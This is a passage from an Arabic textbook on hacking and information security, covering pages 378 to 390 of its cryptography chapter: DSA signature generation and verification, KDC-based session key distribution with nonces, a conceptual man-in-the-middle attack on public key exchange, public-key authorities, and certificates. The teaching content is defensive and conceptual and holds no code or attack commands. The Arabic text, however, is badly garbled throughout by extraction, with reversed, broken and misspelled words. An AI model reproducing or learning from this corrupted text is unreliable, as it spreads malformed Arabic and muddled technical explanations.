‫لهنا‬ Hash Function ‫إلنتاج‬ hash code ُ‫مل‬‫ا‬ ‫الرسالة‬ ‫من‬ ‫ال‬ ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫ي‬ ‫ثم‬ ،‫لرساهلا‬ ‫راد‬ hash code ‫ك‬ ‫ذذا‬ input ‫ال‬ ‫لاىل‬ ( Signature Algorithm .) ‫ال‬ ‫ذذه‬ ‫تعتمد‬ Signature ‫ال‬ ‫استخدام‬ ‫عىل‬ private key ‫ال‬ ‫عىل‬ ‫وتعتمد‬ ،‫التشفري‬ ‫يف‬ public key ‫لال‬ ،‫التشفري‬ ‫قك‬ ‫يف‬ ‫ال‬ ‫وذو‬ ،‫العملية‬ ‫ذذه‬ ‫يف‬ ً‫ا‬‫أيض‬ ‫ثالث‬ ‫عنرص‬ ‫تستقبل‬ ‫أهنا‬ Global Public Key (Pug) ‫ال‬ ‫من‬ ‫جمموعة‬ ‫عن‬ ‫بارة‬‫ع‬ ُ‫ه‬‫لن‬ parameters .‫الطرقني‬ ‫ال‬‫ك‬ ‫يستخدمها‬ ‫التي‬
  • 378.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [378] ‫ذذه‬ ‫عن‬ ‫ُج‬‫ت‬‫ن‬َ‫ي‬ ‫النهاية‬ ‫يف‬ ‫ال‬ Algorithm ‫وذم‬ ‫الرسالة‬ ‫مع‬ ‫لضاقتهم‬ ‫م‬‫ت‬َ‫ي‬ ‫قيمتني‬ ( s ( ‫و‬ ) r .) :‫التفاصيل‬ ‫يف‬ ‫ل‬ ُ ‫ط‬‫َد‬‫ن‬‫ل‬ ‫ذيا‬ ‫يق‬ ‫ال‬ ‫إلنتاج‬ ‫احلسابية‬ ‫العمليات‬ ‫بعض‬ ‫بعمل‬ ‫األول‬ ‫الطرف‬ ‫وم‬ ( s ) ‫وال‬ ( r ،) ‫ال‬ ‫ذذا‬ r ‫وال‬ s ‫ل‬ ‫ج‬‫نوات‬ ‫يكونا‬ َ ‫س‬ functions ‫ال‬ ‫ا‬‫ِب‬ ‫ل‬ ُ ‫دط‬َ‫ي‬ " public key components " ‫ال‬ ‫م‬ُ‫وذ‬ (p,q,g) ‫وا‬ ، ‫ل‬ private key ‫ب‬ ‫له‬ ‫َرمز‬‫ن‬‫و‬ ‫األول‬ ‫بالطرف‬ ‫اخلاص‬ (x) ‫وال‬ ، hash code ‫ب‬ ‫له‬ ‫ونرمز‬ ‫بالرسالة‬ ‫اخلاص‬ H(M) ً‫ا‬‫وأطري‬ ، ‫عملية‬ ‫لكل‬ ‫نستخدمه‬ ‫عشوائي‬ ‫رقم‬ Sign ‫ب‬ ‫له‬ ‫ونرمز‬ ‫ِبا‬ ‫نقوم‬ (k) . ‫ال‬ ‫ذذه‬ ‫تدطل‬ ‫كيف‬ ‫يوضح‬ ‫شكل‬ ‫ماييل‬ parameters ‫ال‬ ‫لتكوين‬ ( s ) ‫وال‬ ( r :)
  • 379.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [379] ‫الرسالة‬ ‫تدطل‬ M ‫ال‬ ‫لىل‬ hash function ‫ال‬ ‫انتاج‬ ‫ليتم‬ hash code ‫ال‬ ‫عىل‬ ‫صول‬ُ‫حل‬‫ا‬ ‫معادلة‬ ‫يف‬ ‫األطري‬ ‫ل‬ ُ ‫يدط‬ ‫م‬ُ‫ث‬ (s) ، ‫ال‬ ‫نستخدم‬ ُ ‫حيث‬ k ‫ال‬ ‫مع‬ ً‫ا‬‫أيض‬ q ‫نا‬ُ‫ذ‬ ‫الرسالة‬ ‫المة‬ َ ‫س‬ ‫ُحدد‬‫ت‬‫س‬ ‫التي‬ ‫القيمة‬ ‫أن‬ ‫الحظ‬ . ‫ال‬ ‫ذي‬ (r) ، ‫سيقوم‬ ‫التي‬ ‫وذي‬ ‫ذ‬ ‫عىل‬ ‫التدقيق‬ ‫وببعض‬ ،!‫اطتبارذا‬ ‫أجل‬ ‫من‬ ‫حساباته‬ ‫بإجراء‬ ‫الثاين‬ ‫الطرف‬ ‫ال‬ ‫ذه‬ Algorithm ‫ال‬ ‫أن‬ ‫ستجد‬ ‫الرائعة‬ (r) ‫الرسالة‬ ‫عىل‬ ‫تعتمد‬ ‫ال‬ ‫ذذه‬ (M) ‫ال‬ ‫أن‬ ‫بمعنى‬ ،!‫يشء‬ ‫يف‬ (M) ‫يزيد‬ ‫ما‬ ‫وذذا‬ ،‫ا‬‫ِب‬ ‫اخلاصة‬ ‫دطالت‬ُ‫مل‬‫ا‬ ‫من‬‫ض‬ ‫ن‬‫م‬ ‫ليست‬ .!‫قوهتا‬ ‫إلنتاج‬ ‫سابات‬‫احل‬ ‫عض‬َ‫ب‬ ‫مل‬َ‫ع‬‫ب‬ ‫سيقوم‬ ،‫اآلطر‬ ‫الطرف‬ ‫لىل‬ ‫الرسالة‬ ‫ل‬‫َص‬‫ت‬ ‫وعندما‬ ‫ُسميها‬‫ن‬ ‫قيمة‬ (v) ‫سيقوم‬ ، ‫بمقارن‬ ‫بال‬ ‫تها‬ ( r ) .‫الرسالة‬ ‫رقض‬ ‫قيتم‬ ‫ولال‬ ،‫يتشاِبا‬ ‫أن‬ ‫وجيب‬ ،‫األول‬ ‫الطرف‬ ‫من‬ ‫القادمة‬
  • 380.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [380] Key Distribution ‫ال‬ ‫عن‬ ‫املاضية‬ ‫الفقرات‬ ‫يف‬ ‫نتحدث‬ ‫ُنا‬‫ك‬ Symmetric Cryptography ‫وال‬ Asymmetric Cryptography ‫وكيف‬ ‫األطرا‬ ‫بني‬ ‫هلا‬ُ‫د‬‫تبا‬ ‫راد‬ُ‫مل‬‫ا‬ ‫البيانات‬ ‫تشفري‬ ‫طالل‬ ‫من‬ ‫اهلدف‬ ‫حتقيق‬ ‫يتم‬ ‫ال‬ ‫باستخدام‬ ‫ف‬ “Keys” . ‫عملية‬ ‫ستتم‬ ‫كيف‬ ‫ولكن‬ ‫ال‬ ‫لرسال‬ Key ‫عليه‬ ‫املتفق‬ ‫األ‬ ‫لىل‬ ‫طر‬ ‫ا‬ ‫ف‬ ‫املشرتك‬ ‫ة‬ ‫العملي‬ ‫يف‬ ‫ة‬ .‫؟‬ ‫ذذا‬ ‫لدي‬ ‫تكتمل‬ ‫كي‬ ‫نا‬ُ‫ذ‬ ‫عنه‬ ‫سنتحدث‬ ‫ما‬ ‫نا‬ .‫الصورة‬ ‫ال‬ ‫لعملية‬ ‫سيناريو‬ ‫عن‬ ‫سنتكلم‬ Key Distribution ‫ال‬ ‫باستخدام‬ Symmetric Encryption ‫مرة‬ ، ‫ال‬ ‫وباستخدام‬ Encryption Asymmetric .‫أطرى‬ ً‫ة‬‫مر‬
  • 381.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [381] Using Symmetric Key Encryption ‫ال‬ ‫شكل‬ ‫ذذا‬ Symmetric Encryption ‫ال‬ ‫ذذا‬ ‫يصل‬ ‫أن‬ ‫ذنا‬ ‫ونريد‬ ،‫التقليدي‬ key .!‫ن‬‫آم‬ ‫بشكل‬ ‫للطرقني‬ ‫ال‬ ‫ذذا‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬‫س‬ key ‫باألعىل‬ “Session Key” ‫ال‬ ‫وذو‬ key ‫الطرقني‬ ‫بني‬ ‫البيانات‬ ‫ل‬ُ‫د‬‫تبا‬ ‫عملية‬ ‫يف‬ ‫ستخدم‬ُ‫مل‬‫ا‬ A ‫و‬ B ، ‫عليه‬ ‫أطلقنا‬ Session ‫بدء‬ ‫عملية‬ ‫عند‬ ‫سيتغري‬ ‫ألنه‬ Session ‫ال‬ ‫عىل‬ ‫ينطبق‬ ‫ذذا‬ .‫جديدة‬ Applications ‫التي‬ ‫ال‬ ‫تستخدم‬ TCP .‫عام‬ ‫بشكل‬ ‫البيانات‬ ‫لنقل‬ ‫كربوتوكول‬ ‫سيقوم‬ A ‫عىل‬ ‫بالتواقق‬ Key (Ka) ‫عليه‬ ‫ق‬‫ُطل‬‫ن‬ ‫آطر‬ “Master Key” ، ‫وبني‬ ‫بينه‬ ‫ثالث‬ ‫طرف‬ (KDC) ، ‫الطرف‬ ً‫ا‬‫وأيض‬ B ‫سيتواقق‬ ‫ال‬ ‫ذذا‬ ‫مع‬ (KDC) ‫عىل‬ key ً‫ا‬‫أيض‬ (Kb) . :‫مثال‬ ‫لنأطذ‬
  • 382.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [382] ‫الطرف‬ ‫سيقوم‬ A ‫ال‬ ‫شاركة‬ُ‫بم‬ KDC ‫اطتصا‬ ‫وذو‬ ‫ر‬ ‫ل‬ (Key Distribution Center) ‫فتاح‬‫بم‬ (Ka) ، ‫الطرف‬ ً‫ا‬‫وأيض‬ B ‫ال‬ ‫ذذا‬ ‫مع‬ ‫األمر‬ ‫بنفس‬ ‫سيقوم‬ KDC ‫ني‬َ‫ب‬ ‫علية‬‫ق‬ ‫ل‬ ُ ‫تواص‬ ‫عملية‬ ‫أي‬ ‫قبل‬ A ‫و‬ B . ‫ف‬ َ‫ر‬َ‫ط‬‫ال‬ ‫رغب‬َ‫ي‬ ‫ندما‬‫وع‬ A ‫فتح‬‫ب‬ Session ‫رف‬َ‫ط‬‫ال‬ ‫ع‬َ‫م‬ B ‫بطلب‬ ‫سيبدأ‬ “Session Key” ‫ال‬ ‫ذذه‬ ‫يف‬ ‫ستخدم‬ُ‫مل‬‫ا‬ Session ‫ال‬ ‫من‬ KDC . ‫ال‬ ‫طلب‬ ‫عملية‬ ‫تتم‬ ‫كيف‬ Session Key ‫ذذه؟‬ ‫الطرف‬ ‫سيدأ‬ A ‫بدء‬ ‫يريد‬ ‫من‬ ‫أنه‬ ‫ض‬‫ولنفر‬ Session ‫الطرف‬ ‫مع‬ B .
  • 383.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [383] ‫ال‬ ‫لىل‬ ‫طلب‬ ‫بإرسال‬ ‫سيبدأ‬ KDC ‫نه‬‫م‬ ‫ب‬ُ‫ل‬‫يط‬ Session Key ُ‫م‬ ‫ثالثة‬ ‫من‬ ‫يتكون‬ ‫ب‬َ‫ل‬َ‫ط‬‫ال‬ ‫ذذا‬ ، .‫تغريات‬ ‫ال‬ ‫ذو‬ ‫األول‬ IDA ‫ويعني‬ Identity of A ‫ال‬ ‫يكون‬ ‫كأن‬ IP Address ‫به‬ ‫اخلاص‬ ‫املثال‬ ‫سبيل‬ ‫عىل‬ ، ‫ال‬ ‫ذو‬ ‫والثاين‬ IDB ‫الطرف‬ ‫ألن‬ B .!‫نا‬ُ‫ذ‬ ‫ن‬‫اآلم‬ ‫اإلتصال‬ ‫بإنشاء‬ ‫املعني‬ ‫ذو‬ ‫ال‬ ‫ذو‬ ‫والثالث‬ N1 ‫بال‬ ‫أشبه‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫ذذا‬ .. Sequence number ‫التوا‬ ‫بروتوكوالت‬ ‫ل‬َ‫ب‬‫ق‬ ‫من‬ ‫ستخدم‬ُ‫مل‬‫(ا‬ ‫لعمل‬ ‫صل‬ tracking ‫لل‬ packets ‫ال‬ ‫سيكون‬ ،)‫رسلة‬ُ‫مل‬‫ا‬ N1 .‫عشوائي‬ ‫رقم‬ ‫نا‬ُ‫ذ‬ ‫ال‬ ‫قيقوم‬ KDC ‫بال‬ ‫تشفريذا‬ ‫تم‬ ‫وقد‬ ُ‫ه‬‫ل‬ ‫سالة‬‫ر‬ ‫بإرسال‬ ‫عليه‬ ‫د‬‫الر‬‫ب‬ (Ka) ‫الطرف‬ ‫قيتمكن‬ ، A ‫مع‬ ‫اتفق‬ ‫قد‬ ‫ألنه‬ ‫قكها‬ ‫من‬ ‫ال‬ KDC ‫ال‬ ‫ذذا‬ ‫عىل‬ Key .‫ل‬‫ب‬َ‫ق‬ ‫ن‬‫م‬ ُ‫م‬ ‫دة‬‫ع‬ ‫نها‬‫م‬ ‫ج‬ ُ‫خر‬َ‫ي‬ َ ‫س‬ ‫قكها‬ َ‫عد‬َ‫ب‬ ‫الرسالة‬ ‫ذذه‬ ..ً‫ا‬‫أيض‬ ‫تغريات‬ ‫ال‬ ُ‫ه‬‫ل‬ ‫عطي‬ُ‫ي‬ َ ‫س‬ KDC ‫ال‬ Session Key ‫ريده‬ُ‫ي‬ ‫الذي‬ A ‫ال‬ ‫لبدء‬ Session ‫مع‬ B ‫ال‬ ‫وذو‬ (Ks) ‫حمتويات‬ ‫بإضاقة‬ ‫ويقوم‬ ، ‫له‬ ‫أرسلها‬ ‫التي‬ ‫السابقة‬ ‫الرسالة‬ A ، ‫ال‬ ‫ذذا‬ ‫أن‬ ‫عىل‬ ‫للتأكيد‬ ‫وذذا‬ Response ‫بال‬ ‫طاص‬ Request ّ‫يل‬‫ل‬ ‫أرسلته‬ ‫الذي‬ ‫غريه‬ ‫لطلب‬ ‫وليس‬ ،!‫اآلن‬ ‫م‬ ‫يظهر‬ ‫وذذا‬ ، ‫ال‬ ‫لرجاع‬ ‫طالل‬ ‫ن‬ KDC ‫العشوائي‬ ‫الرقم‬ ‫نفس‬ N1 ‫لىل‬ A ‫ل‬‫م‬ َ ‫حت‬ ،‫ذو‬ ‫كام‬ ‫ال‬ ً‫ا‬‫أيض‬ ‫سالة‬ ِّ‫الر‬ Kb ‫ال‬ ‫وذو‬ ، Key ‫ال‬ ‫أعطاه‬ ‫الذي‬ KDC ‫للطرف‬ B . ‫ال‬ ‫يعطي‬ ‫وملاذا‬ KDC ‫للطرف‬ A ‫ال‬ Kb ‫ه؟‬ ُ ‫ُص‬ َ ‫خي‬ ‫ال‬ ‫قهو‬ ،‫ذذا‬ ‫يقوم‬ ‫لكي‬ ‫ذذا‬ A ‫الطرف‬ ‫بإعطاء‬ B ‫ال‬ Ks ‫ال‬ ‫وذو‬ “Session Key” ، ‫ر‬ ‫يف‬ ‫بإرساله‬ ‫قيقوم‬ ‫رة‬‫شف‬ُ‫م‬ ‫سالة‬ ‫بال‬ Kb ‫كي‬ ‫يتمكن‬ B ‫ال‬ ‫عىل‬ ‫واحلصول‬ ‫قكها‬ ‫من‬ Ks ‫سيستخدمه‬ ‫الذي‬ A ‫للطرف‬ ‫ريد‬ُ‫ي‬‫ما‬ ‫إلرسال‬ ‫بعد‬ ‫قيام‬ B .
  • 384.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [384] ‫لل‬ ‫لتحقيق‬ ‫وضعهم‬ ‫تم‬ ‫واخلامسة‬ ‫والرابعة‬ ‫الثالثة‬ ‫اخلطوات‬ ‫أن‬ ‫الحظ‬ “Authentication” ‫الطرقني‬ ‫بني‬ A ‫و‬ B ،‫ققط‬ ‫ال‬ ‫عملية‬ ‫ضمن‬ ‫من‬ ‫وليست‬ Key Distribution Using Asymmetric Encryption ‫ال‬ ‫عن‬ ‫تكلمنا‬ Asymmetric Encryption ‫ال‬ ‫طالله‬ ‫نستخدم‬ ‫الذي‬ ‫وذو‬ Public Keys .‫التشفري‬ ‫قك‬ ‫عملية‬ ‫يف‬ ‫ال‬ ‫لرسال‬ ‫طرف‬ ‫ألي‬ ‫ويمكن‬ Public Key ‫لجراء‬ ‫يعد‬ ‫وذذا‬ ،‫التايل‬ ‫الشكل‬ ‫يف‬ ‫يظهر‬ ‫كام‬ ‫يريده‬ ‫طرف‬ ‫ألي‬ ‫به‬ ‫اخلاص‬ ‫قربام‬ ،!‫آمن‬ ‫غري‬ ‫ب‬ ‫أحدذم‬ ‫يقوم‬ ‫أي‬ ‫إرسال‬ Public Key ‫أنه‬ ‫واإلدعاء‬ A ‫يف‬ ً‫ا‬‫طصوص‬ ‫حاالت‬ ‫الربيدي‬ ‫املجموعات‬ ‫ة‬ .
  • 385.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [385] ‫و‬ ‫ط‬‫بس‬ُ‫م‬ ‫مثال‬ ‫ذذا‬ ‫يوضح‬ ‫ال‬ ‫لرسال‬ (Ks) ‫ال‬ ‫باستخدام‬ Asymmetric Encryption . ‫الطرف‬ ‫نا‬ُ‫ذ‬ ‫يقوم‬ A ‫ال‬ ‫بإرسال‬ Public Key ‫به‬ ‫اخلاص‬ (PUa) ‫الطرف‬ ‫لىل‬ B ‫قيقوم‬ ، B ‫ال‬ ‫بإرسال‬ Ks ‫ال‬ ‫وذو‬ “Session Key” ‫لىل‬ A ‫بعد‬ ‫تشفريه‬ ‫ال‬ ‫باستخدام‬ (PUa) ، ‫قيقوم‬ A ‫ال‬ ‫باستخدام‬ ‫التشفري‬ ‫بفك‬ Private Key .‫به‬ ‫اخلاص‬ . ‫السيناريو‬ ‫هلذا‬ ‫مكن‬ُ‫مل‬‫ا‬ ‫من‬ ‫ولكن‬ ‫لل‬ ‫يتعرض‬ ‫أن‬ MITM Attack :‫الشكل‬ ‫ِبذا‬
  • 386.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [386] ‫السيد‬ ‫سيقوم‬ Darth ‫بال‬ ‫باإلمساك‬ ‫نا‬ُ‫ذ‬ PUa ‫بعمل‬ ‫يقوم‬ ‫م‬ُ‫ث‬ ،‫به‬ ‫واالحتفاظ‬ generate ‫ل‬ Public Key ُ‫ه‬‫رسل‬ُ‫ي‬‫و‬ ‫جديد‬ ‫لىل‬ Alice ‫العود‬ ‫يف‬ ‫م‬ُ‫ث‬ ، ‫ة‬ ‫ال‬ ‫سيأيت‬ Ks ‫ُسخ‬‫ن‬ ‫يأطذ‬ ،‫له‬ ‫ة‬ ‫ال‬ ‫باستخدام‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫تشفريه‬‫ب‬ ‫قوم‬َ‫ي‬ ‫م‬ُ‫ث‬ ُ‫ه‬‫ن‬‫م‬ PUa ‫عيد‬ُ‫ي‬‫و‬ ‫السيد‬ ‫لىل‬ ‫لرساله‬ Bob . ‫ال‬ ‫بتوزيع‬ ‫للقيام‬ ‫آمنة‬ ‫طريقة‬ ‫وجود‬ ‫يلزم‬ ‫وبالتايل‬ Public Keys .!‫للخطر‬ ‫تعرضها‬ ‫دون‬ ‫األطراف‬ ‫بني‬ ‫س‬ ‫وذذا‬ ‫يتم‬ ‫يتم‬ ‫كأن‬ ‫ثالث‬ ‫طرف‬ ‫بوجود‬ ‫تسليم‬ ‫ال‬ Key ‫التالي‬ ‫الطرق‬ ‫أحد‬ ‫باستخدام‬ ‫أو‬ ،‫يدوي‬ ‫بشكل‬ ‫ة‬ ‫ال‬ ‫ليصال‬ ‫عملية‬ ‫يف‬ PUa ‫لىل‬ B ‫ال‬ ‫لرسال‬ ‫م‬ُ‫ث‬ ، Ks .‫بعد‬ ‫قيام‬ Distribution of Public Key Methods  Public-Key Authority  Public-Key Certificate Public-Key Authority Using ‫ال‬ ‫باستخدام‬ ‫سيناريو‬ ‫عن‬ ‫اآلن‬ ‫سنتكلم‬ Public-Key Authority : ‫وجود‬ ‫نفرض‬‫ل‬ Central Authority ‫لدهيا‬ Server ‫ال‬ ‫به‬ ‫ن‬‫ز‬ ُ ‫ُم‬ Public Keys ‫ب‬ ‫اخلاصة‬ ‫ال‬ Clients ‫ال‬ ‫ويكون‬ ، Public Key ‫ال‬ ‫ِبذه‬ ‫اخلاص‬ Authority ً‫ا‬‫معلوم‬ .‫لدهيم‬
  • 387.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [387] ‫بني‬ ‫االتصال‬ ‫لنشاء‬ ‫تفاصيل‬ ‫يوضح‬ ‫سيناريو‬ ‫ذذا‬ A ‫و‬ B ‫ال‬ ‫عرب‬ Authority .
  • 388.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [388] ‫اخل‬ ‫الشكل‬ ‫يف‬ ‫يظهر‬ ‫ع‬َ‫ب‬‫ت‬ُ‫مل‬‫ا‬ ‫طوات‬ ‫ة‬ ‫بقيام‬ ‫تبدأ‬ ،‫العملية‬ ‫ذذه‬ ‫يف‬ A ‫ال‬ ‫وذو‬ Initiator ‫ال‬ ‫لىل‬ ‫طلب‬ ‫بإرسال‬ Authority ‫ال‬ ‫ب‬ُ‫ل‬‫يط‬ Public Key ‫بالطرف‬ ‫اخلاص‬ B . ‫ال‬ ‫بإرسال‬ ‫عليه‬ ‫قرتد‬ Public Key ‫بالطرف‬ ‫اخلاص‬ B ‫رة‬‫شف‬ُ‫م‬ ‫برسالة‬ ‫بال‬ Private Key ‫بال‬ ‫اخلاص‬ Authority ‫أن‬ ‫ام‬‫وب‬ ، A ‫ال‬ ‫لديه‬ Public Key .‫التشفري‬ ‫قك‬ ‫من‬ ‫قسيتمكن‬ ‫ِبا‬ ‫اخلاص‬ ‫يقوم‬ A ‫ال‬ ‫بإرسال‬ ID ‫باطتياره‬ ‫يقوم‬ ‫عشوائي‬ ‫رقم‬ ‫مع‬ ‫به‬ ‫اخلاص‬ N1 ‫لىل‬ B ‫رة‬‫شف‬ُ‫م‬ ‫رسالة‬ ‫يف‬ ‫ال‬ ‫باستخدام‬ PUb . ‫قيقوم‬ B ‫ال‬ ‫بطلب‬ PUa ‫ال‬ ‫من‬ Authority ..ً‫ا‬‫أيض‬ ‫ذو‬ ‫و‬ ُ‫ي‬ ‫لىل‬ ‫رسل‬ A ‫العشوائي‬ ‫الرقم‬ ‫نفس‬ N1 ‫بعمل‬ ‫ويقوم‬ ، Increment ‫بواح‬ ‫الرقم‬ ‫هلذا‬ ‫ُسميه‬‫ن‬‫ل‬ ،ً‫ال‬‫مث‬ ‫د‬ N2 ‫ال‬ ‫ن‬‫م‬ ‫َنوع‬‫ك‬ ‫األول‬ ‫مع‬ ً‫ا‬‫أيض‬ ‫ويرسله‬ ، Authentication ‫لرساهلم‬ ‫يتم‬ . ‫بال‬ ‫رة‬‫شف‬ُ‫م‬ ‫رسالة‬ ‫يف‬ PUa ‫اخلطو‬ ‫يف‬ ‫يظهر‬ ‫كام‬ ‫ة‬ ‫رقم‬ (6) . ‫عليه‬ ‫د‬ُ َ ‫ري‬َ‫ق‬ A ‫الرقم‬ ‫بإرسال‬ N2 !‫عل‬‫الف‬‫ب‬ ‫لليه‬ َ ‫وصل‬ ‫قد‬ ‫أنه‬ ‫له‬ ‫ليؤكد‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫باخلطو‬ ‫موضح‬ ‫ذو‬ ‫كام‬ ، ‫ة‬ ‫رقم‬ (7) . Using Public-Key Certificate ‫الطريقة‬ ‫يف‬ ‫تكلمنا‬ ‫السابق‬ ‫ة‬ ‫ال‬ ‫عملية‬ ‫عن‬ “public key distribution” ‫قيام‬ ‫آمن‬ ‫بشكل‬ ‫التواصل‬ ‫يودان‬ ‫طرقني‬ ‫أي‬ ‫بني‬ ‫طريق‬ ‫عن‬ ‫بينهم‬ Trusted Third Party ‫ال‬ ‫وذي‬ Public Key Authority ‫السيناريو‬ ‫عىل‬ ‫التدقيق‬ ‫بعض‬ ‫وبإجراء‬ . ‫مر‬ ‫كل‬ ‫يف‬ ‫أنه‬ ‫ُالحظ‬‫ن‬‫س‬ ‫السابق‬ ‫ة‬ ‫ريد‬ُ‫ي‬ ‫الطرف‬ A ‫بال‬ ‫اإلتصال‬ ‫عليه‬ ‫ب‬‫ج‬َ‫َو‬‫ت‬َ‫ي‬ َ ‫س‬ ‫آطر‬ ‫طرف‬ ‫أي‬ ‫مع‬ ‫التواصل‬ Autority ، ‫اإلجراء‬ ‫وذذا‬ ُ‫م‬ ‫ستهل‬ ‫ك‬ ً‫ا‬ .‫للوقت‬ ‫ال‬ ‫باستخدام‬ ‫األمر‬ ‫ذذا‬ ‫عىل‬ ‫ب‬ُّ‫ل‬َ‫غ‬َ‫ت‬‫ال‬ ‫تم‬ Certificates ‫ال‬ ‫ذذه‬ ‫ُتيح‬‫ت‬ . Certificates ‫ل‬ُ‫د‬‫ا‬َ‫ب‬َ‫ت‬‫ل‬ ‫بينها‬ ‫قيام‬ ‫التواصل‬ ‫لألطراف‬ ‫ال‬ Public Keys ‫احلاج‬ ‫دون‬ ‫ة‬ ‫للتواصل‬ ‫ال‬ ‫طالل‬ Public Key Authority . ‫ز‬ِّ‫ي‬َ‫م‬ُ‫مل‬‫ا‬ ‫اخلصائص‬ ‫بعض‬ ‫ذذه‬ ‫ة‬ ‫لل‬ Certificate :
  • 389.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [389] 1 . ‫مع‬ ‫يتواصل‬ ‫طرف‬ ‫ألي‬ A ‫ال‬ ‫قراءة‬ ‫يستطيع‬ Certificate ‫الطرف‬ ‫بيانات‬ ‫عىل‬ ‫طالهلا‬ ‫من‬ ‫واإلطالع‬ A ‫وعىل‬ ‫ال‬ Public Key .‫به‬ ‫اخلاص‬ 2 . ‫ال‬ ‫من‬ ‫ق‬ُ‫ق‬‫التح‬ ‫يستطيع‬ ‫طرف‬ ‫أي‬ Authority َ‫ح‬‫املان‬ ‫ة‬ ‫ال‬ ‫هلذه‬ Certificate ‫ال‬ ‫ذذه‬ ‫أن‬ ‫من‬ ‫التأكد‬ ‫بمعنى‬ ، Certificate ‫زيف‬ُ‫م‬ ‫ليست‬ ‫ة‬ .! 3 . ‫ال‬ ‫ذذه‬ ‫صالحية‬ ‫أو‬ ‫تاريخ‬ ‫من‬ ‫ق‬ُّ‫ق‬‫التح‬ ُ‫ه‬‫ن‬‫مك‬ُ‫ي‬ ‫م‬‫ستخد‬ُ‫م‬ ‫أو‬ ‫طرف‬ ‫أي‬ Certificate ، ‫التا‬ ‫يعد‬ ‫بالطبع‬ ‫اخلصائص‬ ‫من‬ ‫ريخ‬ ‫املهم‬ ‫ة‬ ‫ُالحظ‬‫ن‬ ،‫للشهادات‬ ‫تح‬َ‫ق‬ ‫تصفحات‬ُ‫مل‬‫ا‬ ‫رقض‬ ‫بعض‬ ‫عدم‬ ‫حالة‬ ‫يف‬ ‫اإلنرتنت‬ ‫واقع‬َ‫م‬ ‫الك‬ ‫جهاز‬ ‫ساعة‬ ‫ضبط‬ ‫مبيوتر‬ ، ‫ال‬ ‫أن‬ ‫حينها‬ ‫َرب‬‫ت‬‫ع‬َ‫ي‬ ُ ‫حيث‬ Certificates ‫الصالحي‬ ‫نتهية‬ُ‫م‬ ‫ة‬ .! 4 . ‫لل‬ ‫ققط‬ ‫ق‬ َ ‫حي‬ Certificate Authority ‫ال‬ ‫جتديد‬ ‫أو‬ ‫لنشاء‬ ‫عملية‬ Certificate . ‫ال‬ ‫عىل‬ ‫منهم‬ ‫كل‬ ‫حصول‬ ‫عملية‬ ‫عن‬ ‫التايل‬ ‫الشكل‬ ِّ ‫عرب‬ُ‫ي‬‫و‬ Certificate ‫اخلاص‬ ‫ة‬ ‫ال‬ ‫من‬ ‫به‬ Certificate Authority :
  • 390.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [390] ‫ب‬ ‫الشخص‬ ‫يقوم‬ ‫ال‬ ‫إرسال‬ Public Key ‫ال‬ ‫لىل‬ ‫به‬ ‫اخلاص‬ CA ‫ال‬ ‫بإرسال‬ ‫ذي‬ ‫وتقوم‬ ، Public Key (PUauth) .‫لليه‬ ‫ِبا‬ ‫اخلاص‬ ‫ال‬ ‫داطل‬ ‫الشهادة‬ ‫لنشاء‬ ‫عملية‬ ‫تتم‬ ‫م‬ُ‫ث‬ CA ‫لىل‬ ‫بإرساهلا‬ ‫تقوم‬ ‫وبعدذا‬ ،‫اخلطوات‬ ‫من‬ ‫جمموعة‬ ‫بتطبيق‬ ‫بال‬ ‫ة‬ َ‫ر‬ّ‫ف‬‫ش‬ُ‫م‬ ‫رسالة‬ ‫ذيئة‬ ‫عىل‬ ،‫بالشكل‬ ‫يظهر‬ ‫كام‬ ‫ذاته‬ ‫الشخص‬ PUauth ‫ا‬‫وِب‬ ‫لسمه‬ ‫من‬ ‫الشخص‬ ‫ذذا‬ ‫بيانات‬ ‫أو‬ ID ‫وال‬ ،‫به‬ ‫اخلاص‬ Public Key ‫سمى‬ُ‫ي‬ ‫أطري‬ ‫ويشء‬ ،‫به‬ ‫اخلاص‬ Timestamp (T) ‫وذو‬ ، field ‫صدور‬ ‫تاريخ‬ ‫عن‬ ِّ ‫رب‬َ‫ع‬ُ‫ي‬ ‫الشهادة‬ ‫ال‬ ‫من‬ ‫للتحقق‬ ‫املستلم‬ ‫الطرف‬ ‫قبل‬ ‫من‬ ‫ويستخدم‬ Currency ‫الشهاد‬ ‫هلذه‬ ‫ة‬ . ‫املعادل‬ ‫ة‬ ‫التالي‬ ‫ة‬ ‫عملية‬ ‫عن‬ 